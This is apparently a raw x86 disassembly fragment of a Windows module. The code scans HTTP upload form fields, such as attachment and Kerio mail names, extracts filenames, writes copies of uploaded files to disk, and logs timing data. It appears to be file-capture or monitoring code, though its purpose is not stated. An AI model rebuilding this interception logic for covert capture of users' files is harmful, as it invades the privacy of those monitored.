mov byte [esp + 0x194], 0x32
call fcn.590a63d0
lea ecx, [esp + 0x15c]
mov byte [esp + 0x190], 0x31
call fcn.590a6240
lea ecx, [esp + 0x84]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x5901921f
mov eax, dword [esp + 0x10]
push str.hiduploadedfiles
push eax
call fcn.59088717
add esp, 8
test eax, eax
jne 0x5901921f
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x174]
call fcn.590a0970
mov edx, dword [esp + 0x1c]
mov byte [esp + 0x190], 0x33
sub edx, edi
push edx
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x16c]
je 0x590191b8
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590191b8
push 0xfde9
push eax
lea ecx, [esp + 0x60]
call fcn.590aa6a0
jmp 0x590191c2
push eax
lea ecx, [esp + 0x5c]
call fcn.590a65a0
mov eax, dword [esp + 0x58]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901920b
push eax
lea eax, [esp + 0x168]
push eax
call fcn.5900bb50
add esp, 8
lea ecx, [esp + 0x164]
mov byte [esp + 0x190], 0x34
push ecx
lea ecx, [esp + 0x5c]
call fcn.590a63d0
lea ecx, [esp + 0x164]
mov byte [esp + 0x190], 0x33
call fcn.590a6240
lea ecx, [esp + 0x16c]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
lea ecx, [esp + 0x10]
call fcn.590a20c0
cmp dword [esp + 0x110], 2
jae 0x59019383
push str.ATTACH
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.ATTACHFILE
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.UPLOAD
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.UPLOADER
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.ATTH
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.UPLOADFILENAME
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.USERFILE
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.ATTFILE
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.FILE
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.F_CATTCH
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.NEWFILE
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.LOCALATTACH
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.ATTACHMENT
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.UPFILE
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
push str.KERIO_MAILATTS
lea ecx, [esp + 0x14]
call fcn.590a2040
cmp eax, 0xffffffff
jne 0x590193d5
mov eax, dword [esp + 0x174]
test eax, eax
je 0x590193a6
mov edx, dword [esp + 0x1c]
push str.filename_
push edx
push ebx
call fcn.5900f930
add esp, 0xc
cmp eax, 0xffffffff
jne 0x590193d5
mov eax, dword [esp + 0x90]
test eax, eax
je 0x590197d7
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x54]
push str.filename_
push eax
push ecx
call fcn.5900f930
add esp, 0xc
cmp eax, 0xffffffff
je 0x590197d7
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x54]
push str.filename_
push edx
push ebx
call fcn.5900f930
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590197d7
mov edi, str.filename_
or ecx, 0xffffffff
xor eax, eax
push 0x591888e8
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x20]
not ecx
dec ecx
add esi, ecx
sub eax, esi
lea ebp, [ebx + esi]
push eax
push ebp
call fcn.5900f930
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x590197d7
push edi
push ebp
lea ecx, [esp + 0x6c]
call fcn.590a0970
mov ecx, dword [0x59162880]
mov byte [esp + 0x190], 0x35
mov dword [esp + 0x44], ecx
push 0x5c
lea ecx, [esp + 0x68]
mov byte [esp + 0x194], 0x36
call fcn.590a2010
mov ebp, eax
mov eax, dword [esp + 0xc4]
test eax, eax
mov eax, dword [esp + 0x64]
lea edx, [ebx + ebp]
lea esi, [edx + esi + 1]
je 0x5901948e
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901948e
push 0x4e3
push eax
lea ecx, [esp + 0x4c]
call fcn.590aa6a0
jmp 0x5901958a
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x590194b0
mov eax, edi
sub eax, ebp
dec eax
push eax
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x590194cb
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590194cb
push 0xfde9
push eax
lea ecx, [esp + 0x4c]
call fcn.590aa6a0
jmp 0x5901958a
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x590194eb
sub edi, ebp
dec edi
push edi
push esi
call fcn.5900b000
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59019506
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019506
push 0x2712
push eax
lea ecx, [esp + 0x4c]
call fcn.590aa6a0
jmp 0x5901958a
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900aca0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59019580
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019580
push 1
push 0
push eax
call fcn.5900adb0
mov ebp, eax
lea edi, [ebp + ebp + 4]
push edi
call fcn.5913d2d0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5901958a
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x6c]
push eax
call fcn.5900adb0
add esp, 0xc
lea ecx, [esp + 0x44]
mov word [esi + ebp*2], 0
push esi
call fcn.590a64c0
push esi
call fcn.5913d2f9
add esp, 4
jmp 0x5901958a
push eax
lea ecx, [esp + 0x48]
call fcn.590a65a0
mov eax, dword [esp + 0x44]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590197b5
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.5900bb50
add esp, 8
lea edx, [esp + 0x158]
lea ecx, [esp + 0x44]
push edx
mov byte [esp + 0x194], 0x37
call fcn.590a63d0
push 0x5c
lea ecx, [esp + 0x48]
call fcn.590a73f0
inc eax
lea ecx, [esp + 0x44]
push eax
lea eax, [esp + 0x11c]
push eax
call fcn.590a8530
mov ecx, dword [0x59162880]
mov byte [esp + 0x190], 0x38
mov dword [esp + 0x14], ecx
push 0x2e
lea ecx, [esp + 0x11c]
mov byte [esp + 0x194], 0x39
call fcn.590a73f0
cmp eax, 0xffffffff
je 0x59019644
inc eax
lea edx, [esp + 0x74]
push eax
push edx
lea ecx, [esp + 0x120]
call fcn.590a8530
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x194], 0x3a
call fcn.590a63d0
lea ecx, [esp + 0x74]
mov byte [esp + 0x190], 0x39
call fcn.590a6240
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xac]
push eax
call fcn.590a0760
lea ecx, [esp + 0xa4]
push 0x59188bd0
push ecx
mov byte [esp + 0x198], 0x3b
call fcn.59059db0
add esp, 8
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0x194], 0x3c
call fcn.590a1040
lea ecx, [esp + 0xa4]
mov byte [esp + 0x190], 0x3b
call fcn.590a0ec0
mov eax, dword [esp + 0x1ac]
test eax, eax
jne 0x590196e4
mov edx, dword [esp + 0x64]
push 0x180
push 0x8101
push edx
call fcn.5908928d
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59019768
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
sub eax, edi
add ebx, edi
push eax
push ebx
push esi
call fcn.5908909d
push esi
call fcn.59088fbd
add esp, 0x10
jmp 0x590196e8
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x138]
sub eax, edi
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590b3c80
mov edx, dword [esp + 0x64]
lea ecx, [esp + 0x17c]
push edx
call fcn.590a5940
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x17c]
push eax
push ecx
lea ecx, [esp + 0xbc]
mov byte [esp + 0x198], 0x3d
call fcn.590ac1d0
mov eax, dword [esp + 0x14c]
lea edx, [esp + 0x118]
push edx
push eax
lea ecx, [esp + 0x150]
call fcn.590ac1d0
lea ecx, [esp + 0x17c]
mov byte [esp + 0x190], 0x3b
call fcn.590a6240
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x39
call fcn.590a0ec0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x38
call fcn.590a6240
lea ecx, [esp + 0x118]
mov byte [esp + 0x190], 0x37
call fcn.590a6240
lea ecx, [esp + 0x158]
mov byte [esp + 0x190], 0x36
call fcn.590a6240
lea ecx, [esp + 0x44]
mov byte [esp + 0x190], 0x35
call fcn.590a6240
lea ecx, [esp + 0x64]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov eax, dword [esp + 0x114]
test eax, eax
je 0x590198de
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x590198de
mov edx, dword [esp + 0x10]
push str.jsessionid
push edx
call fcn.59088717
add esp, 8
test eax, eax
jne 0x590198de
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x54]
sub ecx, eax
add edx, eax
push ecx
push edx
lea ecx, [esp + 0x2c]
call fcn.590a0970
push 0x59189724
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0x3e
call fcn.590a2040
cmp eax, 0xffffffff
je 0x59019877
push eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x2c]
call fcn.590a34e0
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0x3f
call fcn.590a1040
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x3e
call fcn.590a0ec0
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.590a0490
lea eax, [esp + 0x12c]
mov byte [esp + 0x194], 0x3e
push eax
call fcn.5900b190
add esp, 8
mov ecx, dword [esp + 0x128]
mov byte [esp + 0x190], 0x41
push ecx
lea ecx, [esp + 0x54]
call fcn.590a65a0
lea ecx, [esp + 0x128]
mov byte [esp + 0x190], 0x3e
call fcn.590a0ec0
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xb0]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x1a4]
push ecx
mov ecx, dword [esp + 0x1a4]
push edx
push eax
push ecx
call fcn.5900d630
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x190], 0x23
call fcn.590a0ec0
mov ebp, dword [esp + 0x198]
mov esi, dword [esp + 0x7c]
mov ebx, dword [esp + 0x19c]
mov edi, dword [esp + 0x54]
test edi, edi
jne 0x59017d41
mov edx, dword [esp + 0x6c]
mov eax, dword [edx - 8]
test eax, eax
je 0x59019985
lea eax, [esp + 0x6c]
push 0x59188a94
lea ecx, [esp + 0x38]
push eax
push ecx
call fcn.590a69b0
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x194], 0x42
call fcn.590a6ef0
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
mov eax, dword [esp + 0xa0]
test eax, eax
mov eax, dword [esp + 0x20]
je 0x590199ad
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x590199ad
push 0x591ad52c
lea ecx, [esp + 0x24]
call fcn.590a63d0
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x4c]
test edi, edi
je 0x590199ce
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x590199ce
push 0x591ad528
lea ecx, [esp + 0x24]
call fcn.590a63d0
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019a0a
xor esi, esi
test ecx, ecx
jle 0x590199fc
mov ax, word [eax + esi*2]
push eax
call fcn.590897d0
add esp, 4
test eax, eax
je 0x590199f8
mov eax, dword [esp + 0x20]
inc esi
cmp esi, dword [eax - 8]
jl 0x590199db
jmp 0x590199fc
mov eax, dword [esp + 0x20]
cmp esi, dword [eax - 8]
jne 0x59019a0a
lea ecx, [esp + 0x20]
call fcn.590a5fb0
mov edx, dword [esp + 0x28]
mov ecx, dword [edx - 8]
mov edx, dword [esp + 0x5c]
test ecx, ecx
jne 0x59019ca6
mov eax, dword [esp + 0x30]
test eax, eax
je 0x59019a30
mov eax, dword [esp + 0x60]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019a43
test edi, edi
je 0x59019ca6
mov eax, dword [edx - 8]
test eax, eax
je 0x59019ca6
mov eax, dword [0x591ad564]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
test eax, eax
jl 0x59019a5b
lea esi, [eax + 1]
call edi
dec esi
jne 0x59019a56
mov eax, dword [esp + 0xb8]
xor edi, edi
test eax, eax
jle 0x5901ab92
mov ebp, dword [esp + 0x1a8]
mov bl, 0x4c
mov eax, dword [0x59162880]
mov dword [esp + 0xd4], eax
mov byte [esp + 0x190], 0x47
mov dword [esp + 0xd8], eax
mov byte [esp + 0x190], 0x48
mov dword [esp + 0xdc], eax
mov ecx, dword [0x5916287c]
mov byte [esp + 0x190], 0x49
mov dword [esp + 0xf0], ecx
mov eax, dword [esp + 0x30]
mov byte [esp + 0x190], 0x4b
test eax, eax
je 0x59019ad6
lea edx, [esp + 0x60]
mov dword [esp + 0xc8], 1
push edx
jmp 0x59019aee
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59019afa
lea eax, [esp + 0x5c]
mov dword [esp + 0xc8], 2
push eax
lea ecx, [esp + 0xd8]
call fcn.590a63d0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0xcc], eax
lea edx, [ecx + edi*4]
lea ecx, [esp + 0xdc]
push edx
call fcn.590a63d0
mov eax, dword [esp + 0x148]
lea ecx, [eax + edi*4]
push ecx
lea ecx, [esp + 0xdc]
call fcn.590a63d0
mov edx, dword [esp + 0x134]
xor ecx, ecx
test ebp, ebp
mov eax, dword [edx + edi*4]
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xd0], eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0xec], ecx
je 0x59019b91
mov edx, ebp
mov eax, dword [edx]
mov dword [esp + 0xe0], eax
mov ecx, dword [edx + 4]
mov dword [esp + 0xe4], ecx
mov eax, dword [edx + 8]
mov dword [esp + 0xe8], eax
mov ecx, dword [edx + 0xc]
mov dword [esp + 0xec], ecx
mov esi, dword [0x591ad564]
cmp esi, esi
jl 0x59019bab
lea edx, [esi + 1]
push 0xffffffffffffffff
push edx
mov ecx, 0x591ad560
call fcn.59061720
mov edx, dword [0x591ad560]
lea eax, [esi + esi*4]
lea ecx, [esi + eax*2]
mov eax, dword [esp + 0xc8]
lea esi, [edx + ecx*4]
mov dword [esi], eax
mov ecx, dword [esp + 0xcc]
mov dword [esi + 4], ecx
mov edx, dword [esp + 0xd0]
lea eax, [esp + 0xd4]
lea ecx, [esi + 0xc]
push eax
mov dword [esi + 8], edx
call fcn.590a63d0
lea ecx, [esp + 0xd8]
push ecx
lea ecx, [esi + 0x10]
call fcn.590a63d0
lea edx, [esp + 0xdc]
lea ecx, [esi + 0x14]
push edx
call fcn.590a63d0
mov ecx, dword [esp + 0xe0]
lea eax, [esi + 0x18]
mov dword [esi + 0x18], ecx
mov edx, dword [esp + 0xe4]
mov dword [eax + 4], edx
mov ecx, dword [esp + 0xe8]
mov dword [eax + 8], ecx
mov edx, dword [esp + 0xec]
lea ecx, [esi + 0x28]
mov dword [eax + 0xc], edx
lea eax, [esp + 0xf0]
push eax
call fcn.590a1040
lea ecx, [esp + 0xf0]
mov byte [esp + 0x190], 0x4e
call fcn.590a0ec0
lea ecx, [esp + 0xdc]
mov byte [esp + 0x190], 0x4d
call fcn.590a6240
lea ecx, [esp + 0xd8]
mov byte [esp + 0x190], bl
call fcn.590a6240
lea ecx, [esp + 0xd4]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
mov eax, dword [esp + 0xb8]
inc edi
cmp edi, eax
jl 0x59019a75
jmp 0x5901ab92
cmp dword [esp + 0x110], 2
jae 0x5901ab92
mov eax, dword [esp + 0x48]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019cf3
mov eax, dword [esp + 0x40]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019cf3
mov eax, dword [esp + 0x2c]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019cf3
test ecx, ecx
jne 0x59019cf3
mov eax, dword [esp + 0xb8]
test eax, eax
jne 0x59019cf3
mov eax, dword [esp + 0x3c]
mov esi, dword [eax - 8]
test esi, esi
je 0x5901ab92
mov eax, dword [esp + 0x1ac]
test eax, eax
je 0x59019d09
mov dword [eax], 1
jmp 0x5901ab92
test ecx, ecx
je 0x59019fac
mov eax, dword [edx - 8]
test eax, eax
je 0x59019fac
test edi, edi
je 0x59019fac
mov ecx, dword [0x591ad564]
lea edi, [ecx - 1]
test edi, edi
mov dword [esp + 0x4c], edi
jl 0x59019e0c
lea edx, [edi + edi*4]
lea ebx, [edi + edx*2]
shl ebx, 2
mov eax, dword [0x591ad560]
lea esi, [ebx + eax]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 4]
cmp eax, 0x927c0
jbe 0x59019dfc
mov ebp, dword [0x591ad564]
mov ecx, dword [esp + 0x4c]
sub ebp, ecx
mov ecx, dword [0x591ad560]
dec ebp
xor edi, edi
lea esi, [ebx + ecx]
mov dword [esp + 0x34], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x190], 0x52
call fcn.590a0ec0
lea ecx, [esi + 0x14]
mov byte [esp + 0x190], 0x51
call fcn.590a6240
lea ecx, [esi + 0x10]
mov byte [esp + 0x190], 0x50
call fcn.590a6240
lea ecx, [esi + 0xc]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
add esi, 0x2c
mov edx, edi
dec edi
mov dword [esp + 0x34], esi
test edx, edx
jne 0x59019d7a
test ebp, ebp
je 0x59019ded
lea eax, [ebp + ebp*4]
lea ecx, [ebp + eax*2]
mov eax, dword [0x591ad560]
shl ecx, 2
lea edx, [ebx + eax + 0x2c]
push ecx
add eax, ebx
push edx
push eax
call fcn.59088c50
add esp, 0xc
mov eax, dword [0x591ad564]
mov edi, dword [esp + 0x4c]
dec eax
mov dword [0x591ad564], eax
dec edi
sub ebx, 0x2c
test edi, edi
mov dword [esp + 0x4c], edi
jge 0x59019d42
mov ecx, dword [0x591ad564]
lea esi, [ecx - 1]
test esi, esi
mov dword [esp + 0x4c], esi
jl 0x59019fac
lea edx, [esi + esi*4]
lea edi, [esi + edx*2]
shl edi, 2
mov eax, dword [0x591ad560]
cmp dword [edi + eax], 2
jne 0x59019f9c
mov ecx, dword [esp + 0x5c]
mov edx, dword [edi + eax + 0xc]
push ecx
push edx
call fcn.590889fc
add esp, 8
test eax, eax
jne 0x59019f9c
mov eax, dword [0x591ad560]
lea ecx, [edi + eax + 0x14]
push ecx
lea ecx, [esp + 0x38]
call fcn.590a5840
mov edx, dword [esp + 0xb8]
push eax
push edx
lea ecx, [esp + 0xbc]
mov byte [esp + 0x198], 0x54
call fcn.590ac1d0
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
mov eax, dword [0x591ad560]
lea ecx, [edi + eax + 0x10]
push ecx
lea ecx, [esp + 0xb0]
call fcn.590a5840
mov edx, dword [esp + 0x14c]
push eax
push edx
lea ecx, [esp + 0x150]
mov byte [esp + 0x198], 0x55
call fcn.590ac1d0
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
mov eax, dword [0x591ad560]
mov ecx, dword [esp + 0x138]
mov eax, dword [edi + eax + 8]
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590b3c80
mov ebx, dword [0x591ad564]
mov ecx, dword [esp + 0x4c]
mov edx, dword [0x591ad560]
sub ebx, ecx
dec ebx
xor ebp, ebp
lea esi, [edi + edx]
mov dword [esp + 0xa4], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x190], 0x58
call fcn.590a0ec0
lea ecx, [esi + 0x14]
mov byte [esp + 0x190], 0x57
call fcn.590a6240
lea ecx, [esi + 0x10]
mov byte [esp + 0x190], 0x56
call fcn.590a6240
lea ecx, [esi + 0xc]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
add esi, 0x2c
mov eax, ebp
dec ebp
mov dword [esp + 0xa4], esi
test eax, eax
jne 0x59019f18
test ebx, ebx
je 0x59019f8d
mov eax, dword [0x591ad560]
lea ecx, [ebx + ebx*4]
lea edx, [ebx + ecx*2]
lea ecx, [edi + eax + 0x2c]
shl edx, 2
push edx
lea edx, [edi + eax]
push ecx
push edx
call fcn.59088c50
add esp, 0xc
mov eax, dword [0x591ad564]
mov esi, dword [esp + 0x4c]
dec eax
mov dword [0x591ad564], eax
dec esi
sub edi, 0x2c
test esi, esi
mov dword [esp + 0x4c], esi
jge 0x59019e2a
mov eax, dword [0x59162880]
mov dword [esp + 0x9c], eax
mov byte [esp + 0x190], 0x5a
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x114]
mov byte [esp + 0x190], 0x5b
test eax, eax
je 0x59019ff4
lea eax, [esp + 0x50]
lea ecx, [esp + 0x8c]
push eax
call fcn.590a63d0
mov ebp, dword [esp + 0x144]
jmp 0x5901a055
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
mov ebp, dword [esp + 0x144]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x9c]
push 0x591892bc
push ecx
push ebp
call fcn.5900d6d0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x5901a055
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x591ac690
call fcn.590a0590
lea edx, [esp + 0x94]
mov byte [esp + 0x198], 0x5b
push edx
push esi
push ebp
call fcn.590251b0
add esp, 0x14
mov eax, dword [esp + 0x48]
mov edi, dword [esp + 0x1a4]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901a8c9
mov ecx, dword [esp + 0x40]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901a8c9
mov edx, dword [esp + 0x3c]
mov eax, dword [edx - 8]
test eax, eax
jne 0x5901a8c9
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901a8c9
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901a8c9
mov eax, dword [esp + 0xb8]
test eax, eax
je 0x5901a8c9
test edi, edi
je 0x5901a8c9
xor ebx, ebx
test eax, eax
jle 0x5901ab6a
mov ebp, dword [esp + 0x98]
jmp 0x5901a0df
mov ebp, dword [esp + 0x98]
mov edi, dword [esp + 0x1a4]
mov eax, dword [0x59162880]
mov dword [esp + 0xe4], eax
mov byte [esp + 0x190], 0x5d
mov dword [esp + 0xe8], eax
mov byte [esp + 0x190], 0x5e
mov dword [esp + 0xec], eax
mov edx, dword [0x5916287c]
mov byte [esp + 0x190], 0x5f
mov dword [esp + 0xf4], edx
mov byte [esp + 0x190], 0x60
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x1a0]
lea ecx, [esp + 0x8c]
push ecx
mov byte [esp + 0x194], 0x62
lea ecx, [esp + 0xe8]
mov dword [esp + 0xcc], eax
call fcn.590a63d0
mov edx, dword [edi]
mov dword [esp + 0xcc], edx
mov eax, dword [edi + 4]
mov dword [esp + 0xd0], eax
mov ecx, dword [edi + 8]
mov dword [esp + 0xd4], ecx
mov edx, dword [edi + 0xc]
lea eax, [esp + 0xdc]
mov dword [esp + 0xd8], edx
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [esp + 0xb4]
lea edx, [ecx + ebx*4]
lea ecx, [esp + 0x90]
push edx
call fcn.590a5840
push 0x5c
lea ecx, [esp + 0x94]
mov byte [esp + 0x194], 0x63
call fcn.590a73f0
inc eax
lea ecx, [esp + 0x90]
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.590a8530
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x64
push ecx
call fcn.5900d7e0
add esp, 4
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x194], 0x65
call fcn.590a5940
lea edx, [esp + 0xa0]
mov byte [esp + 0x190], 0x66
push edx
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.590a67e0
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x69
call fcn.590a6240
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x68
call fcn.590a0ec0
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0x24]
mov eax, dword [ecx + ebx*4]
push 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [esp + 0x24]
lea ecx, [esp + 0xec]
push eax
call fcn.590a63d0
push 0x2e
lea ecx, [esp + 0x28]
call fcn.590a73f0
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.590a8980
push 0x59189488
lea ecx, [esp + 0x18]
mov byte [esp + 0x194], 0x6a
call fcn.590a6e90
mov edx, dword [esp + 0x148]
lea ecx, [esp + 0xe8]
lea eax, [edx + ebx*4]
push eax
call fcn.590a63d0
mov ecx, dword [esp + 0x134]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [ecx + ebx*4]
lea ecx, [esp + 0xa8]
mov dword [esp + 0xf4], edx
call fcn.590a0760
push eax
lea ecx, [esp + 0xf8]
mov byte [esp + 0x194], 0x6b
call fcn.590a1040
lea ecx, [esp + 0xa4]
mov byte [esp + 0x190], 0x6a
call fcn.590a0ec0
mov ecx, dword [esp + 0xf4]
push 0x180
push 0x8101
push ecx
call fcn.5908928d
mov edx, dword [0x5916287c]
add esp, 0xc
mov esi, eax
mov dword [esp + 0x70], edx
cmp esi, 0xffffffff
mov byte [esp + 0x190], 0x6c
je 0x5901a395
mov eax, dword [esp + 0x144]
push ebp
push eax
push esi
call fcn.5908909d
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x88]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.590a3d20
mov edx, dword [esp + 0x90]
add esp, 0x20
lea ecx, [esp + 0x70]
mov eax, dword [edx - 8]
push eax
push 0
call fcn.590a1b50
push eax
push esi
call fcn.5908909d
push esi
call fcn.59088fbd
add esp, 0x10
mov eax, dword [esp + 0x70]
mov ecx, dword [0x591ad574]
mov eax, dword [eax - 8]
add eax, ebp
mov dword [esp + 0xf8], eax
mov eax, ecx
cmp eax, ecx
mov dword [esp + 0x30], eax
jl 0x5901a73d
mov edx, ecx
xor edi, edi
lea ebp, [edx + 1]
cmp ebp, edi
jne 0x5901a45e
mov esi, dword [0x591ad570]
cmp esi, edi
je 0x5901a44d
dec ecx
mov dword [esp + 0x74], esi
test eax, eax
je 0x5901a438
lea ebp, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x190], 0x70
call fcn.590a6240
lea ecx, [esi + 0x2c]
mov byte [esp + 0x190], 0x6f
call fcn.590a0ec0
lea ecx, [esi + 0x24]
mov byte [esp + 0x190], 0x6e
call fcn.590a6240
lea ecx, [esi + 0x20]
mov byte [esp + 0x190], 0x6d
call fcn.590a6240
lea ecx, [esi + 0x1c]
mov byte [esp + 0x190], 0x6c
call fcn.590a6240
add esi, 0x48
dec ebp
mov dword [esp + 0x74], esi
jne 0x5901a3de
mov ecx, dword [0x591ad570]
push ecx
call fcn.5913d2f9
add esp, 4
mov dword [0x591ad570], edi
mov dword [0x591ad578], edi
mov dword [0x591ad574], edi
jmp 0x5901a73d
mov edx, dword [0x591ad570]
cmp edx, edi
jne 0x5901a4db
lea edi, [ebp + ebp*8]
shl edi, 3
push edi
call fcn.5913d2d0
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
mov dword [0x591ad570], esi
shr ecx, 2
mov dword [esp + 0x78], esi
add esp, 4
